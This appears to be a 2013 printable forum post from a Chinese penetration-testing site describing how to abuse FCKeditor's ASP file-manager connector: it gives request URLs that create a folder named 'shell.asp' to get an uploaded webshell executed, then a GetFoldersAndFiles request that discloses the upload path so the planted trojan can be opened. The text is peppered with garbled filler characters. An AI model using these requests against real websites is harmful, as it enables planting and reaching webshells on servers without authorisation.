中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]

---

作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的
* R6 {1 ^- B; g, _0 |( M. v% N
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
9 y$ u- ~$ @: T. J9 k8 u/ [4 k
% f" v3 \5 M: h; T2 @# l上传后老找不到路径，测了一下，我发现
( w6 Q* K: g, S, M. G* V
. z- R0 S. _8 p  g4 U- u! F0 cFCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

, O$ l5 w0 [- Z: Y2 G& t可以爆出路径，显示以下内容
% U; ]  Z- v- e6 n' p" F# d

得出路径，直接打开就见到马子
3 @& M. u" Z8 o  V7 }( l

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2